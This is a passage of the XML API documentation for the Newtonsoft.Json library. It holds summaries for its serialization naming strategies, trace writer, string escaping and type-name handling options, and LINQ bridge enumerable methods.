</member>\n        <member name=\"M:Newtonsoft.Json.Serialization.MemoryTraceWriter.Trace(System.Diagnostics.TraceLevel,System.String,System.Exception)\">\n            <summary>\n            Writes the specified trace level, message and optional exception.\n            </summary>\n            <param name=\"level\">The <see cref=\"T:System.Diagnostics.TraceLevel\"/> at which to write this trace.</param>\n            <param name=\"message\">The trace message.</param>\n            <param name=\"ex\">The trace exception. This parameter is optional.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.MemoryTraceWriter.GetTraceMessages\">\n            <summary>\n            Returns an enumeration of the most recent trace messages.\n            </summary>\n            <returns>An enumeration of the most recent trace messages.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.MemoryTraceWriter.ToString\">\n            <summary>\n            Returns a <see cref=\"T:System.String\"/> of the most recent trace messages.\n            </summary>\n            <returns>\n            A <see cref=\"T:System.String\"/> of the most recent trace messages.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.NamingStrategy\">\n            <summary>\n            A base class for resolving how property names and dictionary keys are serialized.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.NamingStrategy.ProcessDictionaryKeys\">\n            <summary>\n            A flag indicating whether dictionary keys should be processed.\n            Defaults to <c>false</c>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.NamingStrategy.ProcessExtensionDataNames\">\n            <summary>\n            A flag indicating whether extension data names should be processed.\n            Defaults to <c>false</c>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.NamingStrategy.OverrideSpecifiedNames\">\n            <summary>\n            A flag indicating whether explicitly specified property names,\n            e.g. a property name customized with a <see cref=\"T:Newtonsoft.Json.JsonPropertyAttribute\"/>, should be processed.\n            Defaults to <c>false</c>.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.NamingStrategy.GetPropertyName(System.String,System.Boolean)\">\n            <summary>\n            Gets the serialized name for a given property name.\n            </summary>\n            <param name=\"name\">The initial property name.</param>\n            <param name=\"hasSpecifiedName\">A flag indicating whether the property has had a name explicitly specified.</param>\n            <returns>The serialized property name.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.NamingStrategy.GetExtensionDataName(System.String)\">\n            <summary>\n            Gets the serialized name for a given extension data name.\n            </summary>\n            <param name=\"name\">The initial extension data name.</param>\n            <returns>The serialized extension data name.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.NamingStrategy.GetDictionaryKey(System.String)\">\n            <summary>\n            Gets the serialized key for a given dictionary key.\n            </summary>\n            <param name=\"key\">The initial dictionary key.</param>\n            <returns>The serialized dictionary key.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.NamingStrategy.ResolvePropertyName(System.String)\">\n            <summary>\n            Resolves the specified property name.\n            </summary>\n            <param name=\"name\">The property name to resolve.</param>\n            <returns>The resolved property name.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.NamingStrategy.GetHashCode\">\n            <summary>\n            Hash code calculation\n            </summary>\n            <returns></returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.NamingStrategy.Equals(System.Object)\">\n            <summary>\n            Object equality implementation\n            </summary>\n            <param name=\"obj\"></param>\n            <returns></returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.NamingStrategy.Equals(Newtonsoft.Json.Serialization.NamingStrategy)\">\n            <summary>\n            Compare to another NamingStrategy\n            </summary>\n            <param name=\"other\"></param>\n            <returns></returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.ObjectConstructor`1\">\n            <summary>\n            Represents a method that constructs an object.\n            </summary>\n            <typeparam name=\"T\">The object type to create.</typeparam>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.OnErrorAttribute\">\n            <summary>\n            When applied to a method, specifies that the method is called when an error occurs serializing an object.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.ReflectionAttributeProvider\">\n            <summary>\n            Provides methods to get attributes from a <see cref=\"T:System.Type\"/>, <see cref=\"T:System.Reflection.MemberInfo\"/>, <see cref=\"T:System.Reflection.ParameterInfo\"/> or <see cref=\"T:System.Reflection.Assembly\"/>.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.ReflectionAttributeProvider.#ctor(System.Object)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.ReflectionAttributeProvider\"/> class.\n            </summary>\n            <param name=\"attributeProvider\">The instance to get attributes for. This parameter should be a <see cref=\"T:System.Type\"/>, <see cref=\"T:System.Reflection.MemberInfo\"/>, <see cref=\"T:System.Reflection.ParameterInfo\"/> or <see cref=\"T:System.Reflection.Assembly\"/>.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.ReflectionAttributeProvider.GetAttributes(System.Boolean)\">\n            <summary>\n            Returns a collection of all of the attributes, or an empty collection if there are no attributes.\n            </summary>\n            <param name=\"inherit\">When <c>true</c>, look up the hierarchy chain for the inherited custom attribute.</param>\n            <returns>A collection of <see cref=\"T:System.Attribute\"/>s, or an empty collection.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.ReflectionAttributeProvider.GetAttributes(System.Type,System.Boolean)\">\n            <summary>\n            Returns a collection of attributes, identified by type, or an empty collection if there are no attributes.\n            </summary>\n            <param name=\"attributeType\">The type of the attributes.</param>\n            <param name=\"inherit\">When <c>true</c>, look up the hierarchy chain for the inherited custom attribute.</param>\n            <returns>A collection of <see cref=\"T:System.Attribute\"/>s, or an empty collection.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.ReflectionValueProvider\">\n            <summary>\n            Get and set values for a <see cref=\"T:System.Reflection.MemberInfo\"/> using reflection.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.ReflectionValueProvider.#ctor(System.Reflection.MemberInfo)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.ReflectionValueProvider\"/> class.\n            </summary>\n            <param name=\"memberInfo\">The member info.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.ReflectionValueProvider.SetValue(System.Object,System.Object)\">\n            <summary>\n            Sets the value.\n            </summary>\n            <param name=\"target\">The target to set the value on.</param>\n            <param name=\"value\">The value to set on the target.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.ReflectionValueProvider.GetValue(System.Object)\">\n            <summary>\n            Gets the value.\n            </summary>\n            <param name=\"target\">The target to get the value from.</param>\n            <returns>The value.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.SnakeCaseNamingStrategy\">\n            <summary>\n            A snake case naming strategy.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.SnakeCaseNamingStrategy.#ctor(System.Boolean,System.Boolean)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.SnakeCaseNamingStrategy\"/> class.\n            </summary>\n            <param name=\"processDictionaryKeys\">\n            A flag indicating whether dictionary keys should be processed.\n            </param>\n            <param name=\"overrideSpecifiedNames\">\n            A flag indicating whether explicitly specified property names should be processed,\n            e.g. a property name customized with a <see cref=\"T:Newtonsoft.Json.JsonPropertyAttribute\"/>.\n            </param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.SnakeCaseNamingStrategy.#ctor(System.Boolean,System.Boolean,System.Boolean)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.SnakeCaseNamingStrategy\"/> class.\n            </summary>\n            <param name=\"processDictionaryKeys\">\n            A flag indicating whether dictionary keys should be processed.\n            </param>\n            <param name=\"overrideSpecifiedNames\">\n            A flag indicating whether explicitly specified property names should be processed,\n            e.g. a property name customized with a <see cref=\"T:Newtonsoft.Json.JsonPropertyAttribute\"/>.\n            </param>\n            <param name=\"processExtensionDataNames\">\n            A flag indicating whether extension data names should be processed.\n            </param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.SnakeCaseNamingStrategy.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.SnakeCaseNamingStrategy\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.SnakeCaseNamingStrategy.ResolvePropertyName(System.String)\">\n            <summary>\n            Resolves the specified property name.\n            </summary>\n            <param name=\"name\">The property name to resolve.</param>\n            <returns>The resolved property name.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.StringEscapeHandling\">\n            <summary>\n            Specifies how strings are escaped when writing JSON text.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.StringEscapeHandling.Default\">\n            <summary>\n            Only control characters (e.g. newline) are escaped.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.StringEscapeHandling.EscapeNonAscii\">\n            <summary>\n            All non-ASCII and control characters (e.g. newline) are escaped.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.StringEscapeHandling.EscapeHtml\">\n            <summary>\n            HTML (&lt;, &gt;, &amp;, &apos;, &quot;) and control characters (e.g. newline) are escaped.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.TypeNameAssemblyFormatHandling\">\n            <summary>\n            Indicates the method that will be used during deserialization for locating and loading assemblies.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.TypeNameAssemblyFormatHandling.Simple\">\n            <summary>\n            In simple mode, the assembly used during deserialization need not match exactly the assembly used during serialization. Specifically, the version numbers need not match as the <c>LoadWithPartialName</c> method of the <see cref=\"T:System.Reflection.Assembly\"/> class is used to load the assembly.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.TypeNameAssemblyFormatHandling.Full\">\n            <summary>\n            In full mode, the assembly used during deserialization must match exactly the assembly used during serialization. The <c>Load</c> method of the <see cref=\"T:System.Reflection.Assembly\"/> class is used to load the assembly.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.TypeNameHandling\">\n            <summary>\n            Specifies type name handling options for the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n            <remarks>\n            <see cref=\"P:Newtonsoft.Json.JsonSerializer.TypeNameHandling\"/> should be used with caution when your application deserializes JSON from an external source.\n            Incoming types should be validated with a custom <see cref=\"P:Newtonsoft.Json.JsonSerializer.SerializationBinder\"/>\n            when deserializing with a value other than <see cref=\"F:Newtonsoft.Json.TypeNameHandling.None\"/>.\n            </remarks>\n        </member>\n        <member name=\"F:Newtonsoft.Json.TypeNameHandling.None\">\n            <summary>\n            Do not include the .NET type name when serializing types.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.TypeNameHandling.Objects\">\n            <summary>\n            Include the .NET type name when serializing into a JSON object structure.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.TypeNameHandling.Arrays\">\n            <summary>\n            Include the .NET type name when serializing into a JSON array structure.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.TypeNameHandling.All\">\n            <summary>\n            Always include the .NET type name when serializing.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.TypeNameHandling.Auto\">\n            <summary>\n            Include the .NET type name when the type of the object being serialized is not the same as its declared type.\n            Note that this doesn't include the root serialized object by default. To include the root object's type name in JSON\n            you must specify a root type object with <see cref=\"M:Newtonsoft.Json.JsonConvert.SerializeObject(System.Object,System.Type,Newtonsoft.Json.JsonSerializerSettings)\"/>\n            or <see cref=\"M:Newtonsoft.Json.JsonSerializer.Serialize(Newtonsoft.Json.JsonWriter,System.Object,System.Type)\"/>.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.CollectionUtils.IsNullOrEmpty``1(System.Collections.Generic.ICollection{``0})\">\n            <summary>\n            Determines whether the collection is <c>null</c> or empty.\n            </summary>\n            <param name=\"collection\">The collection.</param>\n            <returns>\n            \t<c>true</c> if the collection is <c>null</c> or empty; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.CollectionUtils.AddRange``1(System.Collections.Generic.IList{``0},System.Collections.Generic.IEnumerable{``0})\">\n            <summary>\n            Adds the elements of the specified collection to the specified generic <see cref=\"T:System.Collections.Generic.IList`1\"/>.\n            </summary>\n            <param name=\"initial\">The list to add to.</param>\n            <param name=\"collection\">The collection of elements to add.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.ConvertUtils.ConvertOrCast(System.Object,System.Globalization.CultureInfo,System.Type)\">\n            <summary>\n            Converts the value to the specified type. If the value is unable to be converted, the\n            value is checked whether it assignable to the specified type.\n            </summary>\n            <param name=\"initialValue\">The value to convert.</param>\n            <param name=\"culture\">The culture to use when converting.</param>\n            <param name=\"targetType\">The type to convert or cast the value to.</param>\n            <returns>\n            The converted type. If conversion was unsuccessful, the initial value\n            is returned if assignable to the target type.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Utilities.ImmutableCollectionsUtils\">\n            <summary>\n            Helper class for serializing immutable collections.\n            Note that this is used by all builds, even those that don't support immutable collections, in case the DLL is GACed\n            https://github.com/JamesNK/Newtonsoft.Json/issues/652\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Utilities.LinqBridge.Enumerable\">\n            <summary>\n            Provides a set of static (Shared in Visual Basic) methods for \n            querying objects that implement <see cref=\"T:System.Collections.Generic.IEnumerable`1\" />.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.AsEnumerable``1(System.Collections.Generic.IEnumerable{``0})\">\n            <summary>\n            Returns the input typed as <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/>.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.Empty``1\">\n            <summary>\n            Returns an empty <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> that has the \n            specified type argument.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.Cast``1(System.Collections.IEnumerable)\">\n            <summary>\n            Converts the elements of an <see cref=\"T:System.Collections.IEnumerable\"/> to the \n            specified type.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.OfType``1(System.Collections.IEnumerable)\">\n            <summary>\n            Filters the elements of an <see cref=\"T:System.Collections.IEnumerable\"/> based on a specified type.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.Range(System.Int32,System.Int32)\">\n            <summary>\n            Generates a sequence of integral numbers within a specified range.\n            </summary>\n            <param name=\"start\">The value of the first integer in the sequence.</param>\n            <param name=\"count\">The number of sequential integers to generate.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.Repeat``1(``0,System.Int32)\">\n            <summary>\n            Generates a sequence that contains one repeated value.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.Where``1(System.Collections.Generic.IEnumerable{``0},Newtonsoft.Json.Serialization.Func{``0,System.Boolean})\">\n            <summary>\n            Filters a sequence of values based on a predicate.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.Where``1(System.Collections.Generic.IEnumerable{``0},Newtonsoft.Json.Serialization.Func{``0,System.Int32,System.Boolean})\">\n            <summary>\n            Filters a sequence of values based on a predicate. \n            Each element's index is used in the logic of the predicate function.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.Select``2(System.Collections.Generic.IEnumerable{``0},Newtonsoft.Json.Serialization.Func{``0,``1})\">\n            <summary>\n            Projects each element of a sequence into a new form.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.Select``2(System.Collections.Generic.IEnumerable{``0},Newtonsoft.Json.Serialization.Func{``0,System.Int32,``1})\">\n            <summary>\n            Projects each element of a sequence into a new form by \n            incorporating the element's index.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.SelectMany``2(System.Collections.Generic.IEnumerable{``0},Newtonsoft.Json.Serialization.Func{``0,System.Collections.Generic.IEnumerable{``1}})\">\n            <summary>\n            Projects each element of a sequence to an <see cref=\"T:System.Collections.Generic.IEnumerable`1\" /> \n            and flattens the resulting sequences into one sequence.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.SelectMany``2(System.Collections.Generic.IEnumerable{``0},Newtonsoft.Json.Serialization.Func{``0,System.Int32,System.Collections.Generic.IEnumerable{``1}})\">\n            <summary>\n            Projects each element of a sequence to an <see cref=\"T:System.Collections.Generic.IEnumerable`1\" />, \n            and flattens the resulting sequences into one sequence. The \n            index of each source element is used in the projected form of \n            that element.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.SelectMany``3(System.Collections.Generic.IEnumerable{``0},Newtonsoft.Json.Serialization.Func{``0,System.Collections.Generic.IEnumerable{``1}},Newtonsoft.Json.Serialization.Func{``0,``1,``2})\">\n            <summary>\n            Projects each element of a sequence to an <see cref=\"T:System.Collections.Generic.IEnumerable`1\" />, \n            flattens the resulting sequences into one sequence, and invokes \n            a result selector function on each element therein.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.SelectMany``3(System.Collections.Generic.IEnumerable{``0},Newtonsoft.Json.Serialization.Func{``0,System.Int32,System.Collections.Generic.IEnumerable{``1}},Newtonsoft.Json.Serialization.Func{``0,``1,``2})\">\n            <summary>\n            Projects each element of a sequence to an <see cref=\"T:System.Collections.Generic.IEnumerable`1\" />, \n            flattens the resulting sequences into one sequence, and invokes \n            a result selector function on each element therein. The index of \n            each source element is used in the intermediate projected form \n            of that element.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.TakeWhile``1(System.Collections.Generic.IEnumerable{``0},Newtonsoft.Json.Serialization.Func{``0,System.Boolean})\">\n            <summary>\n            Returns elements from a sequence as long as a specified condition is true.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.TakeWhile``1(System.Collections.Generic.IEnumerable{``0},Newtonsoft.Json.Serialization.Func{``0,System.Int32,System.Boolean})\">\n            <summary>\n            Returns elements from a sequence as long as a specified condition is true.\n            The element's index is used in the logic of the predicate function.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.FirstImpl``1(System.Collections.Generic.IEnumerable{``0},Newtonsoft.Json.Serialization.Func{``0})\">\n            <summary>\n            Base implementation of First operator.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.First``1(System.Collections.Generic.IEnumerable{``0})\">\n            <summary>\n            Returns the first element of a sequence.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.First``1(System.Collections.Generic.IEnumerable{``0},Newtonsoft.Json.Serialization.Func{``0,System.Boolean})\">\n            <summary>\n            Returns the first element in a sequence that satisfies a specified condition.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.FirstOrDefault``1(System.Collections.Generic.IEnumerable{``0})\">\n            <summary>\n            Returns the first element of a sequence, or a default value if \n            the sequence contains no elements.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.FirstOrDefault``1(System.Collections.Generic.IEnumerable{``0},Newtonsoft.Json.Serialization.Func{``0,System.Boolean})\">\n            <summary>\n            Returns the first element of the sequence that satisfies a \n            condition or a default value if no such element is found.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.LastImpl``1(System.Collections.Generic.IEnumerable{``0},Newtonsoft.Json.Serialization.Func{``0})\">\n            <summary>\n            Base implementation of Last operator.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.Last``1(System.Collections.Generic.IEnumerable{``0})\">\n            <summary>\n            Returns the last element of a sequence.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.Last``1(System.Collections.Generic.IEnumerable{``0},Newtonsoft.Json.Serialization.Func{``0,System.Boolean})\">\n            <summary>\n            Returns the last element of a sequence that satisfies a \n            specified condition.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.LastOrDefault``1(System.Collections.Generic.IEnumerable{``0})\">\n            <summary>\n            Returns the last element of a sequence, or a default value if \n            the sequence contains no elements.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.LastOrDefault``1(System.Collections.Generic.IEnumerable{``0},Newtonsoft.Json.Serialization.Func{``0,System.Boolean})\">\n            <summary>\n            Returns the last element of a sequence that satisfies a \n            condition or a default value if no such element is found.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.SingleImpl``1(System.Collections.Generic.IEnumerable{``0},Newtonsoft.Json.Serialization.Func{``0})\">\n            <summary>\n            Base implementation of Single operator.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.Single``1(System.Collections.Generic.IEnumerable{``0})\">\n            <summary>\n            Returns the only element of a sequence, and throws an exception \n            if there is not exactly one element in the sequence.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.Single``1(System.Collections.Generic.IEnumerable{``0},Newtonsoft.Json.Serialization.Func{``0,System.Boolean})\">\n            <summary>\n            Returns the only element of a sequence that satisfies a \n            specified condition, and throws an exception if more than one \n            such element exists.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.SingleOrDefault``1(System.Collections.Generic.IEnumerable{``0})\">\n            <summary>\n            Returns the only element of a sequence, or a default value if \n            the sequence is empty; this method throws an exception if there \n            is more than one element in the sequence.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.SingleOrDefault``1(System.Collections.Generic.IEnumerable{``0},Newtonsoft.Json.Serialization.Func{``0,System.Boolean})\">\n            <summary>\n            Returns the only element of a sequence that satisfies a \n            specified condition or a default value if no such element \n            exists; this method throws an exception if more than one element \n            satisfies the condition.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.ElementAt``1(System.Collections.Generic.IEnumerable{``0},System.Int32)\">\n            <summary>\n            Returns the element at a specified index in a sequence.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.ElementAtOrDefault``1(System.Collections.Generic.IEnumerable{``0},System.Int32)\">\n            <summary>\n            Returns the element at a specified index in a sequence or a \n            default value if the index is out of range.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.Reverse``1(System.Collections.Generic.IEnumerable{``0})\">\n            <summary>\n            Inverts the order of the elements in a sequence.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.Take``1(System.Collections.Generic.IEnumerable{``0},System.Int32)\">\n            <summary>\n            Returns a specified number of contiguous elements from the start \n            of a sequence.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.Skip``1(System.Collections.Generic.IEnumerable{``0},System.Int32)\">\n            <summary>\n            Bypasses a specified number of elements in a sequence and then \n            returns the remaining elements.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.SkipWhile``1(System.Collections.Generic.IEnumerable{``0},Newtonsoft.Json.Serialization.Func{``0,System.Boolean})\">\n            <summary>\n            Bypasses elements in a sequence as long as a specified condition \n            is true and then returns the remaining elements.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.SkipWhile``1(System.Collections.Generic.IEnumerable{``0},Newtonsoft.Json.Serialization.Func{``0,System.Int32,System.Boolean})\">\n            <summary>\n            Bypasses elements in a sequence as long as a specified condition \n            is true and then returns the remaining elements. The element's \n            index is used in the logic of the predicate function.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.Count``1(System.Collections.Generic.IEnumerable{``0})\">\n            <summary>\n            Returns the number of elements in a sequence.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.Count``1(System.Collections.Generic.IEnumerable{``0},Newtonsoft.Json.Serialization.Func{``0,System.Boolean})\">\n            <summary>\n            Returns a number that represents how many elements in the \n            specified sequence satisfy a condition.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.LongCount``1(System.Collections.Generic.IEnumerable{``0})\">\n            <summary>\n            Returns a <see cref=\"T:System.Int64\"/> that represents the total number\n            of elements in a sequence.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.LongCount``1(System.Collections.Generic.IEnumerable{``0},Newtonsoft.Json.Serialization.Func{``0,System.Boolean})\">\n            <summary>\n            Returns a <see cref=\"T:System.Int64\"/> that represents how many elements\n            in a sequence satisfy a condition.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.Concat``1(System.Collections.Generic.IEnumerable{``0},System.Collections.Generic.IEnumerable{``0})\">\n            <summary>\n            Concatenates two sequences.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.ToList``1(System.Collections.Generic.IEnumerable{``0})\">\n            <summary>\n            Creates a <see cref=\"T:System.Collections.Generic.List`1\"/> from an <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/>.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.ToArray``1(System.Collections.Generic.IEnumerable{``0})\">\n            <summary>\n            Creates an array from an <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/>.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.Distinct``1(System.Collections.Generic.IEnumerable{``0})\">\n            <summary>\n            Returns distinct elements from a sequence by using the default \n            equality comparer to compare values.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.Distinct``1(System.Collections.Generic.IEnumerable{``0},System.Collections.Generic.IEqualityComparer{``0})\">\n            <summary>\n            Returns distinct elements from a sequence by using a specified \n            <see cref=\"T:System.Collections.Generic.IEqualityComparer`1\"/> to compare values.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.ToLookup``2(System.Collections.Generic.IEnumerable{``0},Newtonsoft.Json.Serialization.Func{``0,``1})\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Utilities.LinqBridge.Lookup`2\" /> from an \n            <see cref=\"T:System.Collections.Generic.IEnumerable`1\" /> according to a specified key \n            selector function.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.ToLookup``2(System.Collections.Generic.IEnumerable{``0},Newtonsoft.Json.Serialization.Func{``0,``1},System.Collections.Generic.IEqualityComparer{``1})\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Utilities.LinqBridge.Lookup`2\" /> from an \n            <see cref=\"T:System.Collections.Generic.IEnumerable`1\" /> according to a specified key \n            selector function and a key comparer.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.ToLookup``3(System.Collections.Generic.IEnumerable{``0},Newtonsoft.Json.Serialization.Func{``0,``1},Newtonsoft.Json.Serialization.Func{``0,``2})\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Utilities.LinqBridge.Lookup`2\" /> from an \n            <see cref=\"T:System.Collections.Generic.IEnumerable`1\" /> according to specified key \n            and element selector functions.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.ToLookup``3(System.Collections.Generic.IEnumerable{``0},Newtonsoft.Json.Serialization.Func{``0,``1},Newtonsoft.Json.Serialization.Func{``0,``2},System.Collections.Generic.IEqualityComparer{``1})\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Utilities.LinqBridge.Lookup`2\" /> from an \n            <see cref=\"T:System.Collections.Generic.IEnumerable`1\" /> according to a specified key \n            selector function, a comparer and an element selector function.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.GroupBy``2(System.Collections.Generic.IEnumerable{``0},Newtonsoft.Json.Serialization.Func{``0,``1})\">\n            <summary>\n            Groups the elements of a sequence according to a specified key \n            selector function.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.GroupBy``2(System.Collections.Generic.IEnumerable{``0},Newtonsoft.Json.Serialization.Func{``0,``1},System.Collections.Generic.IEqualityComparer{``1})\">\n            <summary>\n            Groups the elements of a sequence according to a specified key \n            selector function and compares the keys by using a specified \n            comparer.\n            </summary>\n        </member>\n        <member 